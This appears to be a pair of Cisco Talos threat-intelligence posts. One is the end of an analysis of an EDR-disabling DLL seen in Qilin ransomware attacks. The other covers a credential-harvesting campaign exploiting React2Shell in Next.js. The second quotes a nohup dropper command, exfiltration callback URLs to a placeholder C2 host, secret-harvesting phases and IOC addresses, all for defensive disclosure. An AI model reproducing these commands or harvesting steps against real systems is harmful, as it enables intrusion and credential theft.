• Perform a sign extension on the operand.
• Add an additional offset to compute the final address of the object being sought — in this case, the CiValidateImageHeader callback.
• Restore the original function pointer to CiValidateImageHeader.

Note that the malware had previously overwritten the callback to CiValidateImageHeader with the address of ArbPreprocessEntry, a function that always returns true. In other words, it has now restored the original Code Integrity check.

Summary

This blog was a technical deep dive into the infection chain that is hidden in the malicious “msimg32.dll”, which has been observed during Qilin ransomware attacks. It demonstrates the sophisticated tricks the malware is employing to circumvent or completely disable modern EDR protection features on compromised systems.

It is encouraging to see how many hurdles modern malware must overcome. At the same time, this highlights that even state-of-the-art defense mechanisms can still be bypassed by determined adversaries. Defenders should never rely on a single product for protection; instead, Talos strongly recommends a multi-layered security approach. This significantly increases the difficulty for attackers to remain undetected, even if they manage to evade one line of defense.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Malware.Bumblebee-10056548-0
• Win.Tool.EdrKiller-10059833-0
• Win.Tool.ThrottleStop-10059849-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Covering Snort2 SID(s): 1:66181, 1:66180
• Covering Snort3 SID(s): 1:301456

Indicators of compromise (IOCs)

The IOCs for this threat are also available at our GitHub repository here.

msimg32.dll
MD5: 89ee7235906f7d12737679860264feaf
SHA1: 01d00d3dd8bc8fd92dae9e04d0f076cb3158dc9c
SHA256: 7787da25451f5538766240f4a8a2846d0a589c59391e15f188aa077e8b888497

rwdrv.sys
MD5: 6bc8e3505d9f51368ddf323acb6abc49
SHA1: 82ed942a52cdcf120a8919730e00ba37619661a3
SHA256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0

hlpdrv.sys
cf7cad39407d8cd93135be42b6bd258f
ce1b9909cef820e5281618a7a0099a27a70643dc
bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56

EDRKiller.exe (non-fixed memory dump with overlay)
MD5: 1305e8b0f9c459d5ed85e7e474fbebb1
SHA1: 84e2d2084fe08262c2c378a377963a1482b35ac5
SHA256: 12fcde06ddadf1b48a61b12596e6286316fd33e850687fe4153dfd9383f0a4a0
Time stamp: 0x684d33f0 (14. June 2025, 08:33:52 UTC)
ImpHash : 05aa031a007e2f51e3f48ae2ed1e1fcb
TLSH: T1B4647C01B7E50CF9EE77C638C9614A06EA72BC425761DADF43A04A964F237D09E3DB12

Cisco Talos Blog – ​Read More

• Cisco Talos is disclosing a large-scale automated credential harvesting campaign carried out by a threat cluster we are tracking as “UAT-10608.” 
• Post-compromise, UAT-10608 leverages automated scripts for extracting and exfiltrating credentials from a variety of applications, that are then posted to its command and control (C2). 
• The C2 hosts a web-based graphical user interface (GUI) titled “NEXUS Listener” that can be used to view stolen information and gain analytical insights using precompiled statistics on credentials harvested and hosts compromised. 

---

Talos is disclosing a large-scale automated credential harvesting campaign carried out by a threat cluster we currently track as UAT-10608. The campaign is primarily leveraging a collection framework dubbed “NEXUS Listener.” The systematic exploitation and exfiltration campaign has resulted in the compromise of at least 766 hosts, as of time of writing, across multiple geographic regions and cloud providers. The operation is targeting Next.js applications vulnerable to React2Shell (CVE-2025-55182) to gain initial access, then is deploying a multi-phase credential harvesting tool that harvests credentials, SSH keys, cloud tokens, and environment secrets at scale. 

The breadth of the victim set and the indiscriminate targeting pattern is consistent with automated scanning — likely based on host profile data from services like Shodan, Censys, or custom scanners to enumerate publicly reachable Next.js deployments and probe them for the described React configuration vulnerabilities. 

The core component of the framework is a web application that makes all of the exfiltrated data available to the operator in a graphical interface that includes in-depth statistics and search capabilities to allow them to sift through the compromised data. 

This post details the campaign’s methodology, tools, breadth and sensitivity of the exposed data, and the implications for organizations impacted by this activity. 

This analysis is based on data collected for security research purposes. Specific credentials and victim identifiers have been withheld from this publication. Talos has informed service providers of exposed and at-risk credentials and is working with industry partners such as GitHub and AWS to quarantine credentials and inform victims. 

Metric	Count
Compromised hosts	766
Hosts with database credentials	~701 (91.5%)
Hosts with SSH private keys	~599 (78.2%)
Hosts with AWS credentials	~196 (25.6%)
Hosts with shell command history	~245 (32.0%)
Hosts with live Stripe API keys	~87 (11.4%)
Hosts with GitHub tokens	~66 (8.6%)
Total files collected	10,120

Initial access 

UAT-10608 targets public-facing web applications using components, predominately Next.js, that are vulnerable to CVE-2025-55182, broadly referred to as “React2Shell.” 

React2Shell is a pre-authentication remote code execution (RCE) vulnerability in React Server Components (RSC). RSCs expose Server Function endpoints that accept serialized data from clients. The affected code deserializes payloads from inbound HTTP requests to these endpoints without adequate validation or sanitization. 

Exploitation steps 

1. An attacker identifies a publicly accessible application using a vulnerable version of RSCs or a framework built on top of it (e.g., Next.js). 
2. The attacker crafts a malicious serialized payload designed to abuse the deserialization routine — a technique commonly used to trigger arbitrary object instantiation or method invocation on the server. 
3. The payload is sent via an HTTP request directly to a Server Function endpoint. No authentication is required. 
4. The server deserializes the malicious payload, resulting in arbitrary code execution in the server-side Node.js process. 

Once the threat actor identifies a vulnerable endpoint, the automated toolkit takes over. No further manual interaction is required to extract and exfiltrate credentials harvested from the system. 

Automated harvesting script 

Data is collected via nohup-executed shell scripts dropped in /tmp with randomized names:

/bin/sh -c nohup sh /tmp/.eba9ee1e4.sh >/dev/null 2>&1

This is consistent with a staged payload delivery model. The initial React exploit delivers a small dropper that fetches and runs the full multi-phase harvesting script. Upon execution, the harvesting script iterates through several phases to collect various data from the compromised system, outlined below: 

• environ – Dump running process environment variables  
• jsenv – Extract JSON-parsed environment from JS runtime  
• ssh – Harvest SSH private keys and authorized_keys  
• tokens – Pattern-match and extract credential strings  
• history – Capture shell command history  
• cloud_meta – Query cloud metadata APIs (AWS/GCP/Azure)  
• k8s – Extract Kubernetes service account tokens  
• docker – Enumerate container configurations  
• cmdline – List all running process command lines  
• proc_all – Aggregate all process environment variables 

The framework leverages a meta.json file that tracks execution state: 

 Following the completion of each collection phase, an HTTP request is made back to the C2 server running the NEXUS Listener component. In most cases, the callback takes place on port 8080 and contains the following parameters: 

• Hostname 
• Phase 
• ID 

Some examples of the full URL, executed after each phase: 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=info&id= 123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=jsenv&id= 123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=k8s&id=123abc45 

http://<NEXUS_LISTENER_IP>:8080/h=<VICTIM_HOSTNAME>&l=crontab&id=123abc45 

NEXUS Listener 

After data is exfiltrated from a compromised system and sent back to the C2 infrastructure, it is stored in a database and made available via a web application called NEXUS Listener. In most instances, the web application front end is protected with a password, the prompt for which can be seen in Figure 1. 

 In at least one instance, the web application was left exposed, revealing a wealth of information, including the inner workings of the application itself, as well as the data that was harvested from compromised systems. 

The application contains a listing of several statistics, including the number of hosts compromised and the total number of each credential type that were successfully extracted from those hosts. It also lists the uptime of the application itself. In this case, the automated exploitation and harvesting framework was able to successfully compromise 766 hosts within a 24-hour period. 

The web application allows a user to browse through all of the compromised hosts. A given host can then be selected, bringing up a menu with all of the exfiltrated data corresponding to each phase of the harvesting script. 

The observed NEXUS Listener instances display “v3” in the title, indicating the application has gone through various stages of development before reaching the currently deployed version.

Analysis 

Cisco Talos was able to obtain data from an unauthenticated NEXUS Listener instance. The following is an analysis of that data, broken down by credential category. 

Credential Categories 

Environment secrets and API keys 

The “environ.txt” and “jsenv.txt” files contain the runtime environment of each compromised application process, exposing a variety of third-party API credentials: 

• AI platform keys: OpenAI, Anthropic, NVIDIA NIM, OpenRouter, Tavily 
• Payment processors: Stripe live secret keys (sk_live_*) 
• Cloud providers: AWS access key/secret pairs, Azure subscription credentials 
• Communication platforms: SendGrid, Brevo/Sendinblue transactional email API keys, Telegram bot tokens and webhook secrets 
• Source control: GitHub personal access tokens, GitLab tokens 
• Database connection strings: Full DATABASE_URL values including hostnames, ports, usernames, and cleartext passwords 
• Custom application secrets: Auth tokens, dashboard passwords, webhook signing secrets — often high-entropy hex or Base64 strings 

SSH private keys 

Present in 78% of hosts, the “ssh.txt” files contain complete PEM-encoded private keys (both ED25519 and RSA formats) along with authorized_keys entries. These keys enable lateral movement to any other system that trusts the compromised host’s key identity — a particularly severe finding for organizations with shared key infrastructure or bastion-host architectures. 

Cloud credential harvesting 

The “aws_full.txt” and “cloud_meta.txt” phases attempt to query the AWS Instance Metadata Service (IMDS), GCP metadata server, and Azure IMDS. For cloud-hosted targets, successful retrieval yields IAM role-associated temporary credentials — credentials that carry whatever permissions were granted to the instance role, which in misconfigured environments can include S3 bucket access, EC2 control plane operations, or secrets manager read access. 

Kubernetes service account tokens 

The “k8s.txt” phase targets containerized workloads, attempting to read the default service account token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. A compromised Kubernetes token can allow an attacker to enumerate cluster resources, read secrets from other namespaces, or escalate to cluster-admin depending on RBAC configuration. 

Docker container intelligence 

For hosts running Docker (approximately 6% of the dataset), the “docker.txt” phase enumerates all running containers, their images, exposed ports, network configurations, mount points, and environment variables. Notable services observed include phpMyAdmin instances, n8n workflow automation, and internal administrative dashboards — all of which are high-value targets for follow-on access. 

Shell command history 

Command history files reveal operator behavior on compromised systems and other information that could be useful for post-compromise activity. Observed patterns include: 

• MySQL client invocations with explicit credentials: mysql -u root -p 
• Database service management: /etc/init.d/mysqld restart

Implications 

• Credential compromise and account takeover: Every credential in this dataset should be considered fully compromised. Live Stripe secret keys enable fraudulent charges and refund manipulation. AWS keys with broad IAM permissions enable cloud infrastructure takeover, data exfiltration from S3, and lateral movement within AWS organizations. Database connection strings with cleartext passwords provide direct access to application data stores containing user personally identifiable information (PII), financial records, or proprietary data. 
• Lateral movement via SSH: The large corpus of exposed SSH private keys creates a persistent lateral movement risk that survives the rotation of application credentials. If any of these keys are reused across systems (a common operational practice), the attacker retains access to those systems even after the initial compromise is detected and remediated. 
• Supply chain risk: Several hosts show evidence of package registry authentication files (“pkgauth.txt”), including npm and pip configuration with registry credentials. Compromised package registry tokens could enable a supply chain attack — publishing malicious versions of packages under a legitimate maintainer’s identity. 
• Data aggregation and intelligence value: Beyond the immediate operational value of individual credentials, the aggregate dataset represents a detailed map of the victim organizations’ infrastructure: what services they run, how they’re configured, what cloud providers they use, and what third-party integrations are in place. This intelligence has significant value for crafting targeted follow-on attacks, social engineering campaigns, or selling access to other threat actors. 
• Reputational and regulatory exposure: For any organization whose data appears in this set, there are serious compliance implications. Database credentials exposing PII trigger breach notification requirements under GDPR, CCPA, and sector-specific regulations. Organizations that process payments whose Stripe keys are exposed face PCI DSS incident response obligations. The exposure of AI platform API keys can result in significant unauthorized usage charges in addition to the security risk. 

Recommendations 

1. Audit getServerSideProps and getStaticProps implementations: Ensure no secrets or server-only environment variables are passed as props to client components. 
2. Enforce NEXT_PUBLIC_ prefix discipline: Only variables that are intentionally public should carry this prefix. Audit all variables for misclassification. 
3. Rotate all credentials immediately if any overlap with the described victim profile is suspected. 
4. Implement IMDSv2 enforcement on all AWS EC2 instances to require session-oriented metadata queries, blocking unauthenticated metadata service abuse. 
5. Segment SSH keys: Avoid reusing SSH key pairs across different systems or environments. 
6. Enable cloud provider secret scanning: AWS, GitHub, and others offer native secret scanning that can detect and alert on committed or exposed credentials. 
7. Deploy runtime application self-protection (RASP) or a WAF rule set tuned for Next.js-specific attack patterns, particularly those targeting SSR data injection points. 
8. Audit container environments for least-privilege. Application containers should not have access to the host SSH agent, host filesystem mounts containing sensitive data, or overly permissive IAM instance roles. 

Coverage 

SNORT® ID for CVE-2025-55182, aka React2Shell: 65554 

Indicators of compromise (IOCs) 

Organizations should investigate for the following artifacts on web application hosts: 

• Unexpected processes spawned from /tmp/ with randomized dot-prefixed names (e.g., /tmp/.e40e7da0c.sh) 
• nohup invocations in process listings not associated with known application workflows 
• Unusual outbound HTTP/S connections from application containers to non-production endpoints 
• Evidence of __NEXT_DATA__ containing server-side secrets in rendered HTML 

IOCs for this threat also available on our GitHub repository here.

144[.]172[.]102[.]88  
172[.]86[.]127[.]128  
144[.]172[.]112[.]136  
144[.]172[.]117[.]112

Cisco Talos Blog – ​Read More